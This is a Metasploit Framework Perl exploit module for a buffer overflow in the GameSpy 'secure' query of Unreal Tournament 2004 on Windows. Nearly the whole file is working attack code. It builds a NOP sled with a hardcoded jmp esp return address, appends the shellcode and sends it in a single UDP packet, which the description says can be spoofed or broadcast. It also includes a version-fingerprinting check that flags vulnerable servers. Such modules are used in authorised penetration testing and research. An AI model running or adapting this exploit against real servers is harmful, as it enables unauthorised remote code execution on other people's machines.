##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ut2004_secure_win32;
use base "Msf::Exploit";
use strict;

my $advanced = { };
my $info =
{
    'Name'  => 'Unreal Tournament 2004 "secure" Overflow (Win32)',
    'Version'  => '$Revision: 1.3 $',
    'Authors' => [ 'Stinko', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32' ],
    'Priv'  => 1,
    'UserOpts'  => {
                    'RHOST' => [1, 'ADDR', 'The target address'],
                    'RPORT' => [1, 'PORT', 'The target port', 7787],
                   },
    'Payload' => {
                    'Space'     => 512,
             		'BadChars'  => "\x5c\x00",
                 },
    
    'Description'  =>  qq{
      This is an exploit for the GameSpy secure query in the Unreal Engine.

      This exploit only requires one UDP packet, which can be both spoofed
      and sent to a broadcast address. Usually, the GameSpy query server listens
      on port 7787, but you can manually specify the port as well.

      The RunServer.sh script will automatically restart the server upon a crash, giving
      us the ability to brute force the service and exploit it multiple
      times. 
    },
    'Refs'  =>   [ 
                    'http://www.osvdb.org/7217',
			        'http://www.securityfocus.com/bid/10570' 
                 ], 
   # 'DefaultTarget' => 0,                 
    'Targets' => [
   #               ['UT2004 Win32 Build Autodetect'],  
                   ['UT2004 Build 3186', 0x10184be3, 0x7ffdf0e4], # jmp esp
                 ],
                       
};

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target_idx  = $self->GetVar('TARGET');
    my $target      = $self->Targets->[$target_idx];
    
    my $request = ("\x90" x 1024);
    substr($request, 0, 60, pack("V", $target->[1]) x 15);

    substr($request, 56, 4, pack("V", $target->[2]));    
    substr($request, 0, length("\\secure\\"), "\\secure\\");    
    substr($request, length($request) - length($shellcode), length($shellcode), $shellcode); 	

    my $sock = Msf::Socket::Udp->new(
        'PeerAddr' => $target_host,
        'PeerPort' => $target_port,
    );
    if($sock->IsError) {
        $self->PrintLine('Error creating socket: ' . $sock->GetError);
        return;
    }

    $self->PrintLine('[*] Sending UDP Secure Request (Dest Port: ' . $target_port . ') (' . length($request) . ' bytes)');
  
    if(!$sock->Send($request)) {
      $sock->PrintError;
      return;
    }

    return;
}

sub Check
{
    my $self = shift();
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $versionNum  = $self->GetVersion($target_host, $target_port);

    if(! $versionNum) {
        $self->PrintLine("[*] Couldn't detect Unreal Tournament Server at ". $target_host . ':' . $target_port); 
        return $self->CheckCode('Generic');
    }
    else {
        $self->PrintLine('[*] Detected Unreal Tournament Server Version: ' . $versionNum . ' at ' . $target_host . ':' . $target_port);
        if ($versionNum =~ /^(3120|3186|3204)$/) {
            $self->PrintLine("[*] The server is more than likely exploitable");
            return $self->CheckCode('Appears');
        }
        elsif ($versionNum =~ /^(2...)$/) {
        	$self->PrintLine("[*] The server appears to be running UT2003");
            return $self->CheckCode('Safe');
        }
                
        $self->PrintLine("[*] The server is more than likely patched");
        return $self->CheckCode('Safe');
    }
}


sub GetVersion 
{
    my $self = shift();
    my $target_host = shift();
    my $target_port = shift();

    my $s = Msf::Socket::Udp->new
    (
        PeerAddr => $target_host,
        PeerPort => $target_port,
    );

	if($s->IsError()) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}
	
	$self->PrintLine('[*] Sending UDP Version Request to ' . $target_host . ':' . $target_port);

	my $versionRequest = "\\basic\\";
	if(!$s->Send($versionRequest)) {
		$s->PrintError;
		return;
	}
    
	my $versionReply = $s->Recv(-1, 10);
    my $versionNum;
    
    if ($versionReply =~ m/\\gamever\\([0-9]{1,5})/) {
        $versionNum = $1;
    }
    
    return $versionNum;
}

1;